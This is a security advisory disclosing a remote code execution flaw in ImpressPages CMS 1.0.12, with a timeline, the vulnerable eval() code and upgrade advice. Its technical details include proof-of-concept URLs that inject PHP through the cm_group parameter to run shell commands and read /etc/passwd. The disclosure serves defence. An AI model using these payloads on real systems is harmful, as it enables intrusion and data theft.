Remote code execution in ImpressPages CMS
Summary
Name: Remote code execution in ImpressPages CMS
Release Date: 5 January 2012
Reference: NGS00109
Discoverer: David Middlehurst
Vendor: ImpressPages
Vendor Reference:
Systems Affected: ImpressPages CMS 1.0.12
Risk: High
Status: Published
TimeLine
Discovered: 28 August 2011
Released: 28 August 2011
Approved: 28 August 2011
Reported: 5 September 2011
Fixed: 21 September 2011
Published: 5 January 2012
Description
ImpressPages CMS (1.0.12) is prone to a remote command execution attack due to an unsanitised eval() code execution flaw.
Technical Details
http://host/impresspages/?cm_group=text_photostitleModule();echo%20shell_exec(‘ls%20-alh’);echo cm_name=test
http://host/impresspages/?cm_group=text_photostitleModule();echo%20file_get_contents(‘/etc/passwd’);echo cm_name=test
http://host/impresspages/?cm_group=text_photostitleModule();[[ArbitraryPHP Code Here]];echo cm_name=test
The affected code:
File: /ip_cms/modules/standard/content_management/actions.php Line 37
if(isset($_REQUEST[‘cm_group’]) isset($_REQUEST[‘cm_name’])) {
eval (‘ $new_module = new
Modulesstandardcontent_managementWidgets’.$_REQUEST[‘cm_group’].”.$_REQUEST[‘cm_name’].’Module();
‘);
$new_module->makeActions();
}
Fix Information
Please update all instances of Impress Pages to the 1.0.13 release:
http://www.impresspages.org/news/impresspages-1-0-13-security-release/